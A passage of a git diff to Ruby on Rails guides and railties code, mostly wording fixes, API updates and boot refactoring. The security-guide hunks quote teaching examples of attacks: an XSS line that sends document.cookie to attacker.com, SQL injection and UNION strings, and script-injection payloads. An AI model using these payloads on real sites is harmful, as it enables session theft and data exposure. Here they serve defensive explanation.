and superfluous information, and to provide information about new features, by "Yehuda Katz":http://www.yehudakatz.com -* April 2, 2010: Updated guide to match new Routing DSL in Rails 3, by "Rizwan Reza":http://www.rizwanreza.com/ -* Febuary 1, 2010: Modifies the routing documentation to match new routing DSL in Rails 3, by Prem Sichanugrist -* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy -* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy -* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile index 26a5a4c3c9..29aefd25f8 100644 --- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile +++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile @@ -26,7 +26,7 @@ h5. When are Objects Saved? Use the same typography as in regular text: <plain> -h6. The +:content_type+ Option +h6. The <tt>:content_type</tt> Option </plain> h3. API Documentation Guidelines @@ -62,10 +62,10 @@ To force process of all the guides, pass +ALL=1+. It is also recommended that you work with +WARNINGS=1+. This detects duplicate IDs and warns about broken internal links. -If you want to generate guides in languages other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +LANGUAGE+ environment variable: +If you want to generate guides in languages other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable: <plain> -rake generate_guides LANGUAGE=es +bundle exec rake generate_guides GUIDES_LANGUAGE=es </plain> h3. HTML Validation @@ -73,12 +73,7 @@ h3. HTML Validation Please validate the generated HTML with: <plain> -rake validate_guides +bundle exec rake validate_guides </plain> Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them. - -h3. Changelog - -* March 31, 2011: grammar tweaks by "Josiah Ivey":http://twitter.com/josiahivey -* October 5, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index e0ccc7a6e6..c2ef7bf9b5 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -15,7 +15,7 @@ endprologue. h3. Introduction -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security. +Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). @@ -23,7 +23,7 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. -In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems. +In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems. h3. Sessions @@ -80,12 +80,11 @@ This will also be a good idea, if you modify the structure of an object and old * _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. - h4. Session Storage --- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ +-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._ -There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. +There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: @@ -158,9 +157,9 @@ One possibility is to set the expiry time-stamp of the cookie with the session i <ruby> class Session < ActiveRecord::Base def self.sweep(time = 1.hour) - time = time.split.inject { |count, unit| - count.to_i.send(unit) - } if time.is_a?(String) + if time.is_a?(String) + time = time.split.inject { |count, unit| count.to_i.send(unit) } + end delete_all "updated_at < '#{time.ago.to_s(:db)}'" end @@ -209,7 +208,7 @@ The HTTP protocol basically provides two main types of requests - GET and POST ( * The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or * The user is _(highlight)held accountable for the results_ of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. @@ -386,7 +385,7 @@ params[:user] # => {:name => “ow3ned”, :admin => true} So if you create a new user using mass-assignment, it may be too easy to become an administrator. -Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: +Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: <ruby> class Person < ActiveRecord::Base @@ -469,13 +468,13 @@ A more paranoid technique to protect your whole project would be to enforce that config.active_record.whitelist_attributes = true </ruby> -This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests. +This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests. h3. User Management -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ -There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. +There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features. Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): @@ -540,7 +539,7 @@ Most bots are really dumb, they crawl the web and put their spam into every form Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: * position the fields off of the visible area of the page -* make the elements very small or colour them the same as the background of the page +* make the elements very small or color them the same as the background of the page * leave the fields displayed, but tell humans to leave them blank The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. @@ -567,7 +566,7 @@ h4. Good Passwords -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ -Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: +Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey. @@ -583,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e <ruby> class File < ActiveRecord::Base - validates :name, :format => /^[\w\.\-\+]+$/ + validates :name, :format => /^[\w\.\-\<plus>]<plus>$/ end </ruby> @@ -596,7 +595,7 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: <ruby> -/\A[\w\.\-\+]+\z/ +/\A[\w\.\-\<plus>]<plus>\z/ </ruby> h4. Privilege Escalation @@ -617,7 +616,7 @@ This is alright for some web applications, but certainly not if the user is not Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. -Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. +Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. h3. Injection @@ -649,7 +648,7 @@ h5(#sql-injection-introduction). Introduction SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query: <ruby> -Project.all(:conditions => "name = '#{params[:name]}'") +Project.where("name = '#{params[:name]}'") </ruby> This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: @@ -681,7 +680,7 @@ h5. Unauthorized Reading The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: <ruby> -Project.all(:conditions => "name = '#{params[:name]}'") +Project.where("name = '#{params[:name]}'") </ruby> And now let's inject another query using the UNION statement: @@ -703,18 +702,18 @@ Also, the second query renames some columns with the AS statement so that the we h5(#sql-injection-countermeasures). Countermeasures -Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+:conditions => "..."+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>. +Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>. Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: <ruby> -Model.first(:conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) +Model.where("login = ? AND password = ?", entered_user_name, entered_password).first </ruby> As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result: <ruby> -Model.first(:conditions => {:login => entered_user_name, :password => entered_password}) +Model.where(:login => entered_user_name, :password => entered_password).first </ruby> The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_. @@ -763,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> -<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> </html> The log files on www.attacker.com will read like this: @@ -825,7 +824,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> </html> -This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks. +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails' sanitize() method does a good job to fend off encoding attacks. h5. Examples from the Underground @@ -885,7 +884,7 @@ The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS pro h5(#css-injection-countermeasures). Countermeasures -This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one. +This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one. h4. Textile Injection @@ -1003,7 +1002,3 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html - -h3. Changelog - -* November 1, 2008: First approved version by Heiko Webers diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index 7a93c3a1e6..2341a3522c 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -929,9 +929,9 @@ class UserControllerTest < ActionController::TestCase end invite_email = ActionMailer::Base.deliveries.first - assert_equal invite_email.subject, "You have been invited by me@example.com" - assert_equal invite_email.to[0], 'friend@example.com' - assert_match /Hi friend@example.com/, invite_email.body + assert_equal "You have been invited by me@example.com", invite_email.subject + assert_equal 'friend@example.com', invite_email.to[0] + assert_match(/Hi friend@example.com/, invite_email.body) end end </ruby> @@ -944,12 +944,4 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica * "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures. * "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures. * "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. -* "RSpec":http://rspec.info/, a behavior-driven development framework - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication) -* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication) - +* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb index cca0891835..73bdd0b552 100644 --- a/railties/lib/rails.rb +++ b/railties/lib/rails.rb @@ -4,6 +4,7 @@ require 'pathname' require 'active_support' require 'active_support/core_ext/kernel/reporting' +require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/logger' require 'rails/application' @@ -14,15 +15,17 @@ require 'action_dispatch/railtie' # For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the # multibyte safe operations. Plugin authors supporting other encodings -# should override this behaviour and set the relevant +default_charset+ +# should override this behavior and set the relevant +default_charset+ # on ActionController::Base. # # For Ruby 1.9, UTF-8 is the default internal and external encoding. if RUBY_VERSION < '1.9' $KCODE='u' else - Encoding.default_external = Encoding::UTF_8 - Encoding.default_internal = Encoding::UTF_8 + silence_warnings do + Encoding.default_external = Encoding::UTF_8 + Encoding.default_internal = Encoding::UTF_8 + end end module Rails @@ -87,6 +90,31 @@ module Rails RAILS_CACHE end + # Returns all rails groups for loading based on: + # + # * The Rails environment; + # * The environment variable RAILS_GROUPS; + # * The optional envs given as argument and the hash with group dependencies; + # + # == Examples + # + # groups :assets => [:development, :test] + # + # # Returns + # # => [:default, :development, :assets] for Rails.env == "development" + # # => [:default, :production] for Rails.env == "production" + # + def groups(*groups) + hash = groups.extract_options! + env = Rails.env + groups.unshift(:default, env) + groups.concat ENV["RAILS_GROUPS"].to_s.split(",") + groups.concat hash.map { |k,v| k if v.map(&:to_s).include?(env) } + groups.compact! + groups.uniq! + groups + end + def version VERSION::STRING end diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb index 82775b7e3b..01ceb80972 100644 --- a/railties/lib/rails/all.rb +++ b/railties/lib/rails/all.rb @@ -6,6 +6,7 @@ require "rails" action_mailer active_resource rails/test_unit + sprockets ).each do |framework| begin require "#{framework}/railtie" diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb index 88ef95334f..82fffe86bb 100644 --- a/railties/lib/rails/application.rb +++ b/railties/lib/rails/application.rb @@ -11,7 +11,7 @@ module Rails # == Initialization # # Rails::Application is responsible for executing all railties, engines and plugin - # initializers. Besides, it also executed some bootstrap initializers (check + # initializers. It also executes some bootstrap initializers (check # Rails::Application::Bootstrap) and finishing initializers, after all the others # are executed (check Rails::Application::Finisher). # @@ -50,9 +50,16 @@ module Rails end end - attr_accessor :assets + attr_accessor :assets, :sandbox + alias_method :sandbox?, :sandbox + delegate :default_url_options, :default_url_options=, :to => :routes + def initialize + super + @initialized = false + end + # This method is called just after an application inherits from Rails::Application, # allowing the developer to load classes in lib and use them during application # configuration. @@ -76,11 +83,6 @@ module Rails require environment if environment end - def eager_load! #:nodoc: - railties.all(&:eager_load!) - super - end - def reload_routes! routes_reloader.reload! end @@ -89,34 +91,34 @@ module Rails @routes_reloader ||= RoutesReloader.new end - def initialize! + def initialize!(group=:default) raise "Application has been already initialized." if @initialized - run_initializers(self) + run_initializers(group, self) @initialized = true self end - def load_tasks + def load_tasks(app=self) initialize_tasks - railties.all { |r| r.load_tasks } super self end - def load_generators - initialize_generators - railties.all { |r| r.load_generators } + def load_console(app=self) + initialize_console super self end - def load_console(sandbox=false) - initialize_console(sandbox) - railties.all { |r| r.load_console(sandbox) } - super() - self - end - + # Rails.application.env_config stores some of the Rails initial environment parameters. + # Currently stores: + # + # * action_dispatch.parameter_filter" => config.filter_parameters, + # * action_dispatch.secret_token" => config.secret_token, + # * action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions + # + # These parameters will be used by middlewares and engines to configure themselves. + # def env_config @env_config ||= super.merge({ "action_dispatch.parameter_filter" => config.filter_parameters, @@ -135,14 +137,16 @@ module Rails @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd)) end + def to_app + self + end + protected alias :build_middleware_stack :app def default_middleware_stack ActionDispatch::MiddlewareStack.new.tap do |middleware| - middleware.use ::Rack::ContentLength, config.action_dispatch.x_sendfile_header - if rack_cache = config.action_controller.perform_caching && config.action_dispatch.rack_cache require "action_dispatch/http/rack_cache" middleware.use ::Rack::Cache, rack_cache @@ -150,7 +154,7 @@ module Rails if config.force_ssl require "rack/ssl" - middleware.use ::Rack::SSL + middleware.use ::Rack::SSL, config.ssl_options end if config.serve_static_assets @@ -160,10 +164,13 @@ module Rails middleware.use ::Rack::Lock unless config.allow_concurrency middleware.use ::Rack::Runtime middleware.use ::Rack::MethodOverride - middleware.use ::Rails::Rack::Logger # must come after Rack::MethodOverride to properly log overridden methods + middleware.use ::ActionDispatch::RequestId + middleware.use ::Rails::Rack::Logger, config.log_tags # must come after Rack::MethodOverride to properly log overridden methods middleware.use ::ActionDispatch::ShowExceptions, config.consider_all_requests_local middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies - middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header + if config.action_dispatch.x_sendfile_header.present? + middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header + end middleware.use ::ActionDispatch::Reloader unless config.cache_classes middleware.use ::ActionDispatch::Callbacks middleware.use ::ActionDispatch::Cookies @@ -185,18 +192,16 @@ module Rails end def initialize_tasks - require "rails/tasks" - task :environment do - $rails_rake_task = true - require_environment! + self.class.rake_tasks do + require "rails/tasks" + task :environment do + $rails_rake_task = true + require_environment! + end end end - def initialize_generators - require "rails/generators" - end - - def initialize_console(sandbox=false) + def initialize_console require "pp" require "rails/console/app" require "rails/console/helpers" diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb index 9f21d273e6..c2cb121e42 100644 --- a/railties/lib/rails/application/bootstrap.rb +++ b/railties/lib/rails/application/bootstrap.rb @@ -7,29 +7,29 @@ module Rails module Bootstrap include Initializable - initializer :load_environment_hook do end + initializer :load_environment_hook, :group => :all do end - initializer :load_active_support do + initializer :load_active_support, :group => :all do require "active_support/all" unless config.active_support.bare end # Preload all frameworks specified by the Configuration#frameworks. # Used by Passenger to ensure everything's loaded before forking and # to avoid autoload race conditions in JRuby. - initializer :preload_frameworks do + initializer :preload_frameworks, :group => :all do ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks end # Initialize the logger early in the stack in case we need to log some deprecation. - initializer :initialize_logger do + initializer :initialize_logger, :group => :all do Rails.logger ||= config.logger || begin path = config.paths["log"].first - logger = ActiveSupport::BufferedLogger.new(path) + logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(path)) logger.level = ActiveSupport::BufferedLogger.const_get(config.log_level.to_s.upcase) logger.auto_flushing = false if Rails.env.production? logger - rescue StandardError => e - logger = ActiveSupport::BufferedLogger.new(STDERR) + rescue StandardError + logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(STDERR)) logger.level = ActiveSupport::BufferedLogger::WARN logger.warn( "Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " + @@ -41,7 +41,7 @@ module Rails end # Initialize cache early in the stack so railties can make use of it. - initializer :initialize_cache do + initializer :initialize_cache, :group => :all do unless defined?(RAILS_CACHE) silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) } @@ -51,7 +51,7 @@ module Rails end end - initializer :set_clear_dependencies_hook do + initializer :set_clear_dependencies_hook, :group => :all do ActionDispatch::Reloader.to_cleanup do ActiveSupport::DescendantsTracker.clear ActiveSupport::Dependencies.clear @@ -60,11 +60,11 @@ module Rails # Sets the dependency loading mechanism. # TODO: Remove files from the $" and always use require. - initializer :initialize_dependency_mechanism do + initializer :initialize_dependency_mechanism, :group => :all do ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load end - initializer :bootstrap_hook do |app| + initializer :bootstrap_hook, :group => :all do |app| ActiveSupport.run_load_hooks(:before_initialize, app) end end diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb index 3b74de690a..8f5b28faf8 100644 --- a/railties/lib/rails/application/configuration.rb +++ b/railties/lib/rails/application/configuration.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/string/encoding' +require 'active_support/core_ext/kernel/reporting' require 'rails/engine/configuration' module Rails @@ -6,12 +7,14 @@ module Rails class Configuration < ::Rails::Engine::Configuration attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets, :cache_classes, :cache_store, :consider_all_requests_local, - :dependency_loading, :encoding, :filter_parameters, - :force_ssl, :helpers_paths, :logger, :preload_frameworks, + :dependency_loading, :filter_parameters, + :force_ssl, :helpers_paths, :logger, :log_tags, :preload_frameworks, :reload_plugins, :secret_token, :serve_static_assets, - :static_cache_control, :session_options, :time_zone, :whiny_nils + :ssl_options, :static_cache_control, :session_options, + :time_zone, :whiny_nils attr_writer :log_level + attr_reader :encoding def initialize(*) super @@ -24,21 +27,30 @@ module Rails @serve_static_assets = true @static_cache_control = nil @force_ssl = false + @ssl_options = {} @session_store = :cookie_store @session_options = {} @time_zone = "UTC" @log_level = nil @middleware = app_middleware @generators = app_generators + @cache_store = [ :file_store, "#{root}/tmp/cache/" ] @assets = ActiveSupport::OrderedOptions.new - @assets.enabled = false - @assets.paths = [] - @assets.precompile = [ /\w+\.(?!js|css).+/, "application.js", "application.css" ] - @assets.prefix = "/assets" - - @assets.js_compressor = nil - @assets.css_compressor = nil + @assets.enabled = false + @assets.paths = [] + @assets.precompile = [ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) }, + /(?:\/|\\|\A)application\.(css|js)$/ ] + @assets.prefix = "/assets" + @assets.version = '' + @assets.debug = false + @assets.compile = true + @assets.digest = false + @assets.manifest = nil + @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ] + @assets.js_compressor = nil + @assets.css_compressor = nil + @assets.initialize_on_precompile = true end def compiled_asset_path @@ -48,8 +60,10 @@ module Rails def encoding=(value) @encoding = value if "ruby".encoding_aware? - Encoding.default_external = value - Encoding.default_internal = value + silence_warnings do + Encoding.default_external = value + Encoding.default_internal = value + end else $KCODE = value if $KCODE == "NONE" @@ -70,7 +84,6 @@ module Rails paths.add "public/javascripts" paths.add "public/stylesheets" paths.add "tmp" - paths.add "tmp/cache" paths end end @@ -95,16 +108,6 @@ module Rails YAML::load(ERB.new(IO.read(paths["config/database"].first)).result) end - def cache_store - @cache_store ||= begin - if File.exist?("#{root}/tmp/cache/") - [ :file_store, "#{root}/tmp/cache/" ] - else - :memory_store - end - end - end - def log_level @log_level ||= Rails.env.production? ? :info : :debug end diff --git a/railties/lib/rails/application/railties.rb b/railties/lib/rails/application/railties.rb index 4fc5e92837..8f3a3e8bbb 100644 --- a/railties/lib/rails/application/railties.rb +++ b/railties/lib/rails/application/railties.rb @@ -4,7 +4,7 @@ module Rails class Application < Engine class Railties < Rails::Engine::Railties def all(&block) - @all ||= railties + engines + super + @all ||= railties + engines + plugins @all.each(&block) if block @all end diff --git a/railties/lib/rails/application/route_inspector.rb b/railties/lib/rails/application/route_inspector.rb new file mode 100644 index 0000000000..8252f21aa7 --- /dev/null +++ b/railties/lib/rails/application/route_inspector.rb @@ -0,0 +1,44 @@ +module Rails + class Application + ## + # This class is just used for displaying route information when someone + # executes `rake routes`. People should not use this class. + class RouteInspector # :nodoc: + def format all_routes, filter = nil + if filter + all_routes = all_routes.select{ |route| route.defaults[:controller] == filter } + end + + routes = all_routes.collect do |route| + route_reqs = route.requirements + + rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ + + controller = route_reqs[:controller] || ':controller' + action = route_reqs[:action] || ':action' + + endpoint = rack_app ? rack_app.inspect : "#{controller}##{action}" + constraints = route_reqs.except(:controller, :action) + + reqs = endpoint + reqs += " #{constraints.inspect}" unless constraints.empty? + + verb = route.verb.source.gsub(/[$^]/, '') + + {:name => route.name.to_s, :verb => verb, :path => route.path.spec.to_s, :reqs => reqs} + end + + # Skip the route if it's internal info route + routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } + + name_width = routes.map{ |r| r[:name].length }.max + verb_width = routes.map{ |r| r[:verb].length }.max + path_width = routes.map{ |r| r[:path].length }.max + + routes.map do |r| + "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" + end + end + end + end +end diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb index 40416dd83a..e6822b75b7 100644 --- 